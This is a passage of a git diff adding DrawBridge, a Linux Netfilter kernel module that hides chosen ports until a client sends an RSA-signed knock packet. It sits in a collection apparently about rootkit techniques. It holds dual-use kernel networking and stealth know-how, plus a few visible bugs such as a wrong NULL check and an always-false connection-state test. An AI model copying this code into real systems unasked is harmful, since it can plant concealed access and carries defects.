DEBUG_PRINT(KERN_INFO "[!] Could not allocate akcipher handle\n"); + return NULL; + } + + req = akcipher_request_alloc(*tfm, GFP_KERNEL); + + if (!req) { + DEBUG_PRINT(KERN_INFO + "[!] Could not allocate akcipher_request struct\n"); + return NULL; + } + + err = crypto_akcipher_set_pub_key(*tfm, data, len); + + if (err) { + DEBUG_PRINT(KERN_INFO "[!] Could not set the public key\n"); + akcipher_request_free(req); + return NULL; + } + + return req; +} + +void free_keys(crypto_akcipher *tfm, akcipher_request *req) +{ + if (req) { + akcipher_request_free(req); + } + if (tfm) { + crypto_free_akcipher(tfm); + } +} + +// Callback for crypto_async_request completion routine +static void op_complete(struct crypto_async_request *req, int err) +{ + op_result *res = (op_result *)(req->data); + + if (err == -EINPROGRESS) { + return; + } + res->err = err; + complete(&res->completion); +} + +// Wait on crypto operation +static int wait_async_op(op_result *res, int ret) +{ + if (ret == -EINPROGRESS || ret == -EBUSY) { + wait_for_completion(&(res->completion)); + reinit_completion(&(res->completion)); + ret = res->err; + } + return ret; +} + +void *gen_digest(void *buf, unsigned int len) +{ + struct scatterlist src; + struct crypto_ahash *tfm; + struct ahash_request *req; + unsigned char *output = NULL; + int MAX_OUT; + + tfm = crypto_alloc_ahash("sha256", 0, CRYPTO_ALG_ASYNC); + + if (IS_ERR(tfm)) { + return NULL; + } + + sg_init_one(&src, buf, len); + + req = ahash_request_alloc(tfm, GFP_ATOMIC); + + if (IS_ERR(req)) { + crypto_free_ahash(tfm); + return NULL; + } + + MAX_OUT = crypto_ahash_digestsize(tfm); + output = kzalloc(MAX_OUT, GFP_KERNEL); + + if (!output) { + crypto_free_ahash(tfm); + ahash_request_free(req); + return NULL; + } + + ahash_request_set_callback(req, 0, NULL, NULL); + ahash_request_set_crypt(req, &src, output, len); + + if (crypto_ahash_digest(req)) { + crypto_free_ahash(tfm); + ahash_request_free(req); + kfree(output); + return NULL; + } + + crypto_free_ahash(tfm); + ahash_request_free(req); + + return output; +} + +// Derived from https://github.com/torvalds/linux/blob/db6c43bd2132dc2dd63d73a6d1ed601cffd0ae06/crypto/asymmetric_keys/rsa.c#L101 +// and https://tools.ietf.org/html/rfc8017#section-9.2 +// thanks to Maarten Bodewes for answering my question on Stackoverflow +// https://stackoverflow.com/questions/49662595/linux-kernel-rsa-signature-verification-crypto-akcipher-verify-output +static char *pkcs_1_v1_5_decode_emsa(unsigned char *EM, unsigned long EMlen, + const u8 *asn1_template, size_t asn1_size, + size_t hash_size) +{ + unsigned int t_offset, ps_end, ps_start, i; + + if (EMlen < 2 + 1 + asn1_size + hash_size) + return NULL; + + /* Decode the EMSA-PKCS1-v1_5 + * note: leading zeros are stripped by the RSA implementation in older kernels + * so EM = 0x00 || 0x01 || PS || 0x00 || T + * will become EM = 0x01 || PS || 0x00 || T. + */ +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 8, 0) + ps_start = 1; + if (EM[0] != 0x01) { + DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u]\n", EM[0]); + return NULL; + } +#else + ps_start = 2; + if (EM[0] != 0x00 || EM[1] != 0x01) { + DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u] [EM[1] == %02u]\n", EM[0], + EM[1]); + return NULL; + } +#endif + + // Calculate offsets + t_offset = EMlen - (asn1_size + hash_size); + ps_end = t_offset - 1; + + // Check if there's a 0x00 seperator between PS and T + if (EM[ps_end] != 0x00) { + DEBUG_PRINT(" = -EBADMSG [EM[T-1] == %02u]\n", EM[ps_end]); + return NULL; + } + + // Check the PS 0xff padding + for (i = ps_start; i < ps_end; i++) { + if (EM[i] != 0xff) { + DEBUG_PRINT(" = -EBADMSG [EM[PS%x] == %02u]\n", i - 2, EM[i]); + return NULL; + } + } + + // Compare the DER encoding T of the DigestInfo value + if (crypto_memneq(asn1_template, EM + t_offset, asn1_size) != 0) { + DEBUG_PRINT(" = -EBADMSG [EM[T] ASN.1 mismatch]\n"); + return NULL; + } + + return EM + t_offset + asn1_size; +} + +// Verify a recieved signature +int verify_sig_rsa(akcipher_request *req, pkey_signature *sig) +{ + int err; + void *inbuf, *outbuf, *result = NULL; + op_result res; + struct scatterlist src, dst; + crypto_akcipher *tfm = crypto_akcipher_reqtfm(req); + int MAX_OUT = crypto_akcipher_maxsize(tfm); + + inbuf = kzalloc(PAGE_SIZE, GFP_KERNEL); + + err = -ENOMEM; + if (!inbuf) { + return err; + } + + outbuf = kzalloc(MAX_OUT, GFP_KERNEL); + + if (!outbuf) { + kfree(inbuf); + return err; + } + + // Init completion + init_completion(&(res.completion)); + + // Put the data into our request structure + memcpy(inbuf, sig->s, sig->s_size); + sg_init_one(&src, inbuf, sig->s_size); + sg_init_one(&dst, outbuf, MAX_OUT); + akcipher_request_set_crypt(req, &src, &dst, sig->s_size, MAX_OUT); + + // Set the completion routine callback + // results from the verify routine will be stored in &res + akcipher_request_set_callback( + req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, op_complete, + &res); + + // Compute the expected digest +#if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0) + err = wait_async_op(&res, crypto_akcipher_verify(req)); +#else + err = wait_async_op(&res, crypto_akcipher_encrypt(req)); +#endif + + if (err) { + DEBUG_PRINT(KERN_INFO "[!] Digest computation failed %d\n", err); + kfree(inbuf); + kfree(outbuf); + kfree(result); + return err; + } + + // Decode the PKCS#1 v1.5 encoding + sha256_template.data = RSA_digest_info_SHA256; + sha256_template.size = ARRAY_SIZE(RSA_digest_info_SHA256); + result = pkcs_1_v1_5_decode_emsa(outbuf, req->dst_len, sha256_template.data, + sha256_template.size, 32); + + err = -EINVAL; + if (!result) { + DEBUG_PRINT(KERN_INFO "[!] EMSA PKCS#1 v1.5 decode failed\n"); + kfree(inbuf); + kfree(outbuf); + return err; + } + + /*DEBUG_PRINT(KERN_INFO "\nComputation:\n"); + hexdump(result, 32); */ + + /* Do the actual verification step. */ + if (crypto_memneq(sig->digest, result, sig->digest_size) != 0) { + DEBUG_PRINT(KERN_INFO + "[!] Signature verification failed - Key Rejected: %d\n", + -EKEYREJECTED); + kfree(inbuf); + kfree(outbuf); + return -EKEYREJECTED; + } + + //DEBUG_PRINT(KERN_INFO "[+] RSA signature verification passed\n"); + kfree(inbuf); + kfree(outbuf); + return 0; +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c new file mode 100644 index 0000000..db73ece --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c @@ -0,0 +1,284 @@ +/** +* @file xt_hook.c +* @brief Entrypoint for Drawbridge - NetFilter Kernel Module to Support +* BPF Based Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include // https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/errno-base.h for relevent error codes +#include +#include +#include +#include + +// Version handling +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 10, 0) +#include +#include +#endif + +// Netfilter headers +#include +#include +#include +#include "drawbridge.h" +#include "compat.h" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Bradley Landherr https://github.com/landhb"); +MODULE_DESCRIPTION( + "NetFilter Kernel Module to Support BPF Based Single Packet Authentication"); +MODULE_VERSION("0.1"); +MODULE_ALIAS("drawbridge"); +MODULE_ALIAS("ip_conntrack_drawbridge"); + +#define MODULE_NAME "drawbridge" +#define MAX_PORTS 10 + +// Companion thread +struct task_struct *raw_thread; + +// defined in xt_state.c +extern conntrack_state *knock_state; + +// Global configs +static unsigned short ports[MAX_PORTS] = { 0 }; +static unsigned int ports_c = 0; + +// Define module port list argument +module_param_array(ports, ushort, &ports_c, 0400); +MODULE_PARM_DESC(ports, "Port numbers to require knocks for"); + +static struct nf_hook_ops pkt_hook_ops __read_mostly = { + .pf = NFPROTO_IPV4, + .priority = NF_IP_PRI_FIRST, + .hooknum = NF_INET_LOCAL_IN, + .hook = &hook_wrapper_v4, +}; + +static struct nf_hook_ops pkt_hook_ops_v6 __read_mostly = { + .pf = NFPROTO_IPV6, + .priority = NF_IP_PRI_FIRST, + .hooknum = NF_INET_LOCAL_IN, + .hook = &hook_wrapper_v6, +}; + +/** + * @brief Determine if an incoming connection should be accepted + * + * Iterates over the guarded ports defined in the configuration, + * if an incoming connection is destined for a guarded port, performs a state + * lookup to determine if the source has previously authenticated. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int conn_state_check(int type, __be32 src, + struct in6_addr *src_6, __be16 dest_port) +{ + unsigned int i; + + for (i = 0; i < ports_c && i < MAX_PORTS; i++) { + // Check if packet is destined for a port on our watchlist + if (dest_port == htons(ports[i])) { + if (type == 4 && + state_lookup(knock_state, 4, src, NULL, dest_port)) { + return NF_ACCEPT; + } else if (type == 6 && + state_lookup(knock_state, 6, 0, src_6, dest_port)) { + return NF_ACCEPT; + } + + return NF_DROP; + } + } + return NF_ACCEPT; +} + +/** + * @brief IPv6 Hook + * + * Determines if a connection is NEW fist, ESTABLISHED connections will be ignored. + * Then determines if the connection is UDP/TCP before handing it off to + * conn_state_check to make the authorization decision. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int pkt_hook_v6(struct sk_buff *skb) +{ + struct tcphdr *tcp_header; + struct udphdr *udp_header; + struct ipv6hdr *ipv6_header = (struct ipv6hdr *)skb_network_header(skb); + + // We only want to look at NEW connections +#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0) + if (skb->nfctinfo == IP_CT_ESTABLISHED && + skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#else + if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED && + (skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#endif + + // Unsuported IPv6 encapsulated protocol + if (ipv6_header->nexthdr != 6 && ipv6_header->nexthdr != 17) { + return NF_ACCEPT; + } + + // UDP + if (ipv6_header->nexthdr == 17) { + udp_header = (struct udphdr *)skb_transport_header(skb); + return conn_state_check(6, 0, &(ipv6_header->saddr), udp_header->dest); + } + + // TCP + tcp_header = (struct tcphdr *)skb_transport_header(skb); + return conn_state_check(6, 0, &(ipv6_header->saddr), tcp_header->dest); +} + +/** + * @brief IPv4 Hook + * + * Determines if a connection is NEW fist, ESTABLISHED connections will be ignored. + * Then determines if the connection is UDP/TCP before handing it off to + * conn_state_check to make the authorization decision. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int pkt_hook_v4(struct sk_buff *skb) +{ + struct tcphdr *tcp_header; + struct udphdr *udp_header; + struct iphdr *ip_header = (struct iphdr *)skb_network_header(skb); + + // We only want to look at NEW connections +#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0) + if (skb->nfctinfo == IP_CT_ESTABLISHED && + skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#else + if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED && + (skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#endif + + // Unsuported IPv4 encapsulated protocol + if (ip_header->protocol != 6 && ip_header->protocol != 17) { + return NF_ACCEPT; + } + + // UDP + if (ip_header->protocol == 17) { + udp_header = (struct udphdr *)skb_transport_header(skb); + return conn_state_check(4, ip_header->saddr, NULL, udp_header->dest); + } + + // TCP + tcp_header = (struct tcphdr *)skb_transport_header(skb); + return conn_state_check(4, ip_header->saddr, NULL, tcp_header->dest); +} + +/** + * @brief Drawbridge module loading/initialization. + * + * Installs netfilter hooks, and creates listener kernel thread. + * + * @return 0 on success, !0 on error + */ +static int __init nf_conntrack_knock_init(void) +{ + int ret, ret6; + raw_thread = NULL; + + // Initialize our memory + if ((knock_state = init_state()) == NULL) { + return -ENOMEM; + } + + // Start kernel thread raw socket to listen for SPA packets + raw_thread = kthread_create(&listen, NULL, MODULE_NAME); + + if (IS_ERR(raw_thread)) { + DEBUG_PRINT(KERN_INFO "[-] drawbridge: Unable to start child thread\n"); + return PTR_ERR(raw_thread); + } + + // Increments usage counter - preserve structure even on exit + get_task_struct(raw_thread); + + // Now it is safe to start kthread - exiting from it doesn't destroy its struct. + wake_up_process(raw_thread); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) + ret = nf_register_net_hook(&init_net, &pkt_hook_ops); + ret6 = nf_register_net_hook(&init_net, &pkt_hook_ops_v6); +#else + ret = nf_register_hook(&pkt_hook_ops); + ret6 = nf_register_hook(&pkt_hook_ops_v6); +#endif + + if (ret || ret6) { + DEBUG_PRINT(KERN_INFO "[-] drawbridge: Failed to register hook\n"); + return ret; + } + + LOG_PRINT( + KERN_INFO + "[+] drawbridge: Loaded module into kernel - monitoring %d port(s)\n", + ports_c); + return 0; +} + +/** + * @brief Drawbridge module unloading/cleanup. + * + * Unregisters netfilter hooks, and stops the listener thread. + * + */ +static void __exit nf_conntrack_knock_exit(void) +{ + int err = 0; + + if (raw_thread) { + err = kthread_stop(raw_thread); + put_task_struct(raw_thread); + raw_thread = NULL; + DEBUG_PRINT(KERN_INFO "[*] drawbridge: stopped counterpart thread\n"); + + } else { + DEBUG_PRINT(KERN_INFO "[!] drawbridge: no kernel thread to kill\n"); + } + + if (knock_state) { + cleanup_states(knock_state); + } + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) + nf_unregister_net_hook(&init_net, &pkt_hook_ops); + nf_unregister_net_hook(&init_net, &pkt_hook_ops_v6); +#else + nf_unregister_hook(&pkt_hook_ops); + nf_unregister_hook(&pkt_hook_ops_v6); +#endif + + LOG_PRINT(KERN_INFO + "[*] drawBridge: Unloaded Netfilter module from kernel\n"); + return; +} + +// Register the initialization and exit functions +module_init(nf_conntrack_knock_init); +module_exit(nf_conntrack_knock_exit); \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c new file mode 100644 index 0000000..d7c1b3d --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c @@ -0,0 +1,393 @@ +/** +* @file xt_listen.c +* @brief Raw socket listener to support Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include // DECLARE_WAITQUEUE +#include +#include // iov_iter +#include +#include "drawbridge.h" +#include "key.h" + +// defined in xt_state.c +extern struct timer_list *reaper; +extern conntrack_state *knock_state; + +// For both IPv4 and IPv6 compiled w/ +// tcpdump "udp dst port 53" -dd +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 4, 0x000086dd }, + { 0x30, 0, 0, 0x00000014 }, { 0x15, 0, 11, 0x00000011 }, + { 0x28, 0, 0, 0x00000038 }, { 0x15, 8, 9, 0x00000035 }, + { 0x15, 0, 8, 0x00000800 }, { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 6, 0x00000011 }, { 0x28, 0, 0, 0x00000014 }, + { 0x45, 4, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, + { 0x48, 0, 0, 0x00000010 }, { 0x15, 0, 1, 0x00000035 }, + { 0x6, 0, 0, 0x00040000 }, { 0x6, 0, 0, 0x00000000 }, +}; + +static int ksocket_receive(struct socket *sock, struct sockaddr_in *addr, + unsigned char *buf, int len) +{ + struct msghdr msg; + int size = 0; + struct kvec iov; + + if (sock->sk == NULL) { + return 0; + } + + iov.iov_base = buf; + iov.iov_len = len; + + msg.msg_flags = MSG_DONTWAIT; + msg.msg_name = addr; + msg.msg_namelen = sizeof(struct sockaddr_in); + msg.msg_control = NULL; + msg.msg_controllen = 0; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0) + msg.msg_iocb = NULL; + iov_iter_init(&msg.msg_iter, WRITE, (struct iovec *)&iov, 1, len); +#else + msg.msg_iov = &iov; + msg.msg_iovlen = len; +#endif + + // https://github.com/torvalds/linux/commit/2da62906b1e298695e1bb725927041cd59942c98 + // switching to kernel_recvmsg because it's more consistent across versions + // https://elixir.bootlin.com/linux/v4.6/source/net/socket.c#L741 + size = kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags); + + return size; +} + +static void free_signature(pkey_signature *sig) +{ + if (sig->s) { + kfree(sig->s); + } + if (sig->digest) { + kfree(sig->digest); + } + kfree(sig); +} + +// Pointer arithmatic to parse out the signature and digest +static pkey_signature *get_signature(void *pkt, u32 offset) +{ + // Allocate the result struct + pkey_signature *sig = kzalloc(sizeof(pkey_signature), GFP_KERNEL); + + if (sig == NULL) { + return NULL; + } + + // Get the signature size + sig->s_size = *(u32 *)(pkt + offset); + + // Sanity check the sig size + if (sig->s_size > MAX_SIG_SIZE || + (offset + sig->s_size + sizeof(u32) > MAX_PACKET_SIZE)) { + kfree(sig); + return NULL; + } + + // Copy the signature from the packet + sig->s = kzalloc(sig->s_size, GFP_KERNEL); + + if (sig == NULL) { + return NULL; + } + + // copy the signature + offset += sizeof(u32); + memcpy(sig->s, pkt + offset, sig->s_size); + + // Get the digest size + offset += sig->s_size; + sig->digest_size = *(u32 *)(pkt + offset); + + // Sanity check the digest size + if (sig->digest_size > MAX_DIGEST_SIZE || + (offset + sig->digest_size + sizeof(u32) > MAX_PACKET_SIZE)) { + kfree(sig->s); + kfree(sig); + return NULL; + } + + // Copy the digest from the packet + sig->digest = kzalloc(sig->digest_size, GFP_KERNEL); + offset += sizeof(u32); + memcpy(sig->digest, pkt + offset, sig->digest_size); + + return sig; +} + +int listen(void *data) +{ + int ret, recv_len, error, offset, version; + + // Packet headers + struct ethhdr *eth_h = NULL; + struct iphdr *ip_h = NULL; + struct ipv6hdr *ip6_h = NULL; + //struct tcphdr * tcp_h; + //struct udphdr * udp_h; + unsigned char *proto_h = NULL; // either TCP or UDP + int proto_h_size; + struct packet *res = NULL; + + // Socket info + struct socket *sock; + struct sockaddr_in source; + struct timespec64 tm; + + // Buffers + unsigned char *pkt = kmalloc(MAX_PACKET_SIZE, GFP_KERNEL); + char *src = kmalloc(32 + 1, GFP_KERNEL); + pkey_signature *sig = NULL; + void *hash = NULL; + + struct sock_fprog bpf = { + .len = ARRAY_SIZE(code), + .filter = code, + }; + + // Initialize wait queue + DECLARE_WAITQUEUE(recv_wait, current); + + // Init Crypto Verification + struct crypto_akcipher *tfm; + akcipher_request *req = init_keys(&tfm, public_key, KEY_LEN); + reaper = NULL; + + if (!req) { + kfree(pkt); + kfree(src); + return -1; + } + + //sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + error = sock_create(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL), &sock); + + if (error < 0) { + DEBUG_PRINT(KERN_INFO "[-] Could not initialize raw socket\n"); + kfree(pkt); + kfree(src); + free_keys(tfm, req); + return -1; + } + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 9, 0) + ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, + KERNEL_SOCKPTR((void *)&bpf), sizeof(bpf)); +#else + ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, (void *)&bpf, + sizeof(bpf)); +#endif + + if (ret < 0) { + DEBUG_PRINT(KERN_INFO "[-] Could not attach bpf filter to socket\n"); + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + return -1; + } + + reaper = init_reaper(STATE_TIMEOUT); + + if (!reaper) { + DEBUG_PRINT(KERN_INFO "[-] Failed to initialize connection reaper\n"); + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + return -1; + } + + //DEBUG_PRINT(KERN_INFO "[+] BPF raw socket thread initialized\n"); + + while (1) { + // Add socket to wait queue + add_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + // Socket recv queue empty, set interruptable + // release CPU and allow scheduler to preempt the thread + while (skb_queue_empty(&sock->sk->sk_receive_queue)) { + set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(2 * HZ); + + // check exit condition + if (kthread_should_stop()) { + // Crucial to remove the wait queue before exiting + set_current_state(TASK_RUNNING); + remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + // Cleanup and exit thread + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + if (reaper) { + cleanup_reaper(reaper); + } + do_exit(0); + } + } + + // Return to running state and remove socket from wait queue + set_current_state(TASK_RUNNING); + remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + memset(pkt, 0, MAX_PACKET_SIZE); + if ((recv_len = ksocket_receive(sock, &source, pkt, MAX_PACKET_SIZE)) > + 0) { + if (recv_len < sizeof(struct packet) || + recv_len > MAX_PACKET_SIZE) { + continue; + } + + // rust parser + //validate_packet(pkt, MAX_PACKET_SIZE); + + // Check IP version + eth_h = (struct ethhdr *)pkt; + proto_h_size = 0; + if ((eth_h->h_proto & 0xFF) == 0x08 && + ((eth_h->h_proto >> 8) & 0xFF) == 0x00) { + version = 4; + ip_h = (struct iphdr *)(pkt + sizeof(struct ethhdr)); + proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) + + sizeof(struct iphdr)); + inet_ntoa(src, ip_h->saddr); + offset = sizeof(struct ethhdr) + sizeof(struct iphdr); + + // check protocol + if ((ip_h->protocol & 0xFF) == 0x06) { + proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4; + + // tcp spec + if (proto_h_size < 20 || proto_h_size > 60) { + continue; + } + + offset += proto_h_size + sizeof(struct packet); + } else if ((ip_h->protocol & 0xFF) == 0x11) { + proto_h_size = sizeof(struct udphdr); + offset += sizeof(struct udphdr) + sizeof(struct packet); + } + } else if ((eth_h->h_proto & 0xFF) == 0x86 && + ((eth_h->h_proto >> 8) & 0xFF) == 0xDD) { + version = 6; + ip6_h = (struct ipv6hdr *)(pkt + sizeof(struct ethhdr)); + proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) + + sizeof(struct ipv6hdr)); + inet6_ntoa(src, &(ip6_h->saddr)); + offset = sizeof(struct ethhdr) + sizeof(struct ipv6hdr); + + // check protocol + if ((ip6_h->nexthdr & 0xFF) == 0x06) { + proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4; + + // tcp spec + if (proto_h_size < 20 || proto_h_size > 60) { + continue; + } + + offset += proto_h_size + sizeof(struct packet); + } else if ((ip6_h->nexthdr & 0xFF) == 0x11) { + proto_h_size = sizeof(struct udphdr); + offset += sizeof(struct udphdr) + sizeof(struct packet); + } + } else { + // unsupported protocol + continue; + } + + // Process packet + res = (struct packet *)(pkt + offset - sizeof(struct packet)); + + // Parse the packet for a signature + sig = get_signature(pkt, offset); + + if (!sig) { + DEBUG_PRINT(KERN_INFO "[-] Signature not found in packet\n"); + continue; + } + + // Hash timestamp + port to unlock + hash = gen_digest(proto_h + proto_h_size, sizeof(struct packet)); + + if (!hash) { + free_signature(sig); + continue; + } + + // Check that the hash matches + if (memcmp(sig->digest, hash, sig->digest_size) != 0) { + DEBUG_PRINT(KERN_INFO "-----> Hash not the same\n"); + free_signature(sig); + kfree(hash); + continue; + } + + // Verify the signature + if (verify_sig_rsa(req, sig) != 0) { + free_signature(sig); + kfree(hash); + continue; + } + + // Check timestamp (Currently allows 60 sec skew) + ktime_get_real_ts64(&tm); + if (tm.tv_sec > res->timestamp.tv_sec + 60) { + free_signature(sig); + kfree(hash); + continue; + } + + // Add the IP to the connection linked list + if (version == 4 && ip_h != NULL) { + if (!state_lookup(knock_state, 4, ip_h->saddr, NULL, + htons(res->port))) { + LOG_PRINT(KERN_INFO + "[+] drawbridge: Authentication from:%s\n", + src); + state_add(knock_state, 4, ip_h->saddr, NULL, + htons(res->port)); + } + } else if (version == 6 && ip6_h != NULL) { + if (!state_lookup(knock_state, 6, 0, &(ip6_h->saddr), + htons(res->port))) { + LOG_PRINT(KERN_INFO + "[+] drawbridge: Authentication from:%s\n", + src); + state_add(knock_state, 6, 0, &(ip6_h->saddr), + htons(res->port)); + } + } + + free_signature(sig); + kfree(hash); + } + } + + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + if (reaper) { + cleanup_reaper(reaper); + } + do_exit(0); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c new file mode 100644 index 0000000..c468d7f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c @@ -0,0 +1,318 @@ +/** +* @file xt_state.c +* @brief Implements connection state functions for the +* conntrack_state linked list +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include +#include "drawbridge.h" + +/* + * Globally accessed knock_state list head + */ +conntrack_state *knock_state; + +/* + * Globally access mutex to protect the list + */ +spinlock_t listmutex; +DEFINE_SPINLOCK(listmutex); + +/* + * Reaper thread timer + */ +struct timer_list *reaper; + +/** +* @brief Utility function to compare IPv6 addresses +* @param a1 First address, of type in6_addr to compare +* @param a2 Second address, of type in6_addr to compare +* @return Zero on a match, otherwise a non-zero integer +*/ +static inline int ipv6_addr_cmp(const struct in6_addr *a1, + const struct in6_addr *a2) +{ + if (a2 == NULL || a1 == NULL) { + return -1; + } + return memcmp(a1, a2, sizeof(struct in6_addr)); +} + +/** +* @brief Utility function to log a new connections to dmesg +* @param state The SPA conntrack_state associated with this allowed connection +* @param src IPv4 address to log, if connection is IPv4 +* @param src_6 IPv6 address to log, if connection is IPv6 +* @return Zero on a match, otherwise a non-zero integer +*/ +static inline void log_connection(struct conntrack_state *state, __be32 src, + struct in6_addr *src_6) +{ + uint8_t buf[512] = {0}; + + // Don't log the connection if it could be considered to be the auth + // packet that we just processed. Implies a slight delay/latency + // between authorization and the subsequent connection - REVIEW + if (jiffies - state->time_added <= 200) { + return; + } + + // Convert to human readable to log + if (state->type == 4) { + inet_ntoa(buf, src); + } else if (state->type == 6) { + inet6_ntoa(buf, src_6); + } + + DEBUG_PRINT("[+] DrawBridge accepted connection - source: %s\n", buf); +} + +/** +* @brief Initializes a new conntrack_state node in memory +* +* There will be one conntrack_state per authenticated session +* As the connection remains established, the state will be periodically +* updated with a new timestamp to maintain currency and not be destroyed +* by the reaper thread. +* +* @return Pointer to the newly allocated conntrack_state struct, NULL on error. +*/ +conntrack_state *init_state(void) +{ + conntrack_state *state = NULL; + + if((state = kzalloc(sizeof(struct conntrack_state), GFP_KERNEL)) == NULL) { + return NULL; + } + + // Zero struct + memset(state, 0, sizeof(struct conntrack_state)); + + // Init list + INIT_LIST_HEAD(&(state->list)); + + return state; +} + +/** +* @brief Callback for call_rcu, asyncronously frees memory when the +* RCU grace period ends +* +* @param rcu The rcu_head for the node being freed, contains all the information necessary +* for RCU mechanism to maintain pending updates. +*/ +static void reclaim_state_entry(struct rcu_head *rcu) +{ + struct conntrack_state *state = + container_of(rcu, struct conntrack_state, rcu); + kfree(state); +} + +/** +* @brief Update function, to create a copy of a conntrack_state struct, +* update it, and then free the old state struct with a later call to call_rcu +* +* This is called when a connection has come in and has an authenticated +* conntrack_state. update_state() will be called to update state->time_updated +* and maintain currency for ESTABLISHED connections to prevent them from being +* dropped by the reaper thread. +* +* A good reference, on updates in the RCU construct: +* http://lse.sourceforge.net/locking/rcu/HOWTO/descrip.html +* +* @param old_state The conntrack_state to be updated, and later freed +*/ +static inline void update_state(conntrack_state *old_state) +{ + // Create new node + conntrack_state *new_state = init_state(); + + if (!new_state) { + return; + } + + memcpy(new_state, old_state, sizeof(struct conntrack_state)); + new_state->time_updated = jiffies; + + // obtain lock to list for the replacement + spin_lock(&listmutex); + list_replace_rcu(&old_state->list, &new_state->list); + spin_unlock(&listmutex); + + return; +} + +/** +* @brief Function to iterate the conntrack_state list to check +* if a IP address has properly authenticated with DrawBridge. +* If so, the conntrack_state will be updated to keep the connection +* established. +* +* @param head Beginning of the conntrack_state list +* @param type IP potocol version, either 4 or 6 +* @param src IPv4 address to log, if connection is IPv4 +* @param src_6 IPv6 address to log, if connection is IPv6 +* @param port Port attempting to be connected to +*/ +int state_lookup(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port) +{ + conntrack_state *state; + + rcu_read_lock(); + + list_for_each_entry_rcu (state, &(head->list), list) { + if (state->type == 4 && state->src.addr_4 == src && + state->port == port) { + update_state(state); +#ifdef DEBUG + log_connection(state, src, src_6); +#endif + rcu_read_unlock(); + call_rcu(&state->rcu, reclaim_state_entry); + return 1; + } else if (state->type == 6 && + ipv6_addr_cmp(&(state->src.addr_6), src_6) == 0 && + state->port == port) { + update_state(state); +#ifdef DEBUG + log_connection(state, src, src_6); +#endif + rcu_read_unlock(); + call_rcu(&state->rcu, reclaim_state_entry); + return 1; + } + } + rcu_read_unlock(); + + return 0; +} + +/** +* @brief Function to add a new conntrack_state to the list +* called upon successful authentication +* +* @param head Beginning of the conntrack_state list +* @param type IP potocol version, either 4 or 6 +* @param src IPv4 address that authenticated, if connection is IPv4 +* @param src_6 IPv6 address that authenticated, if connection is IPv6 +* @param port Port that connections will be allowed to +*/ +void state_add(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port) +{ + // Create new node + conntrack_state *state = init_state(); + + // set params + state->type = type; + if (type == 4) { + state->src.addr_4 = src; + } else if (type == 6) { + memcpy(&(state->src.addr_6), src_6, sizeof(struct in6_addr)); + } + state->port = port; + state->time_added = jiffies; + state->time_updated = jiffies; + + // add to list + spin_lock(&listmutex); + list_add_rcu(&(state->list), &(head->list)); + spin_unlock(&listmutex); + + return; +} + +void cleanup_states(conntrack_state 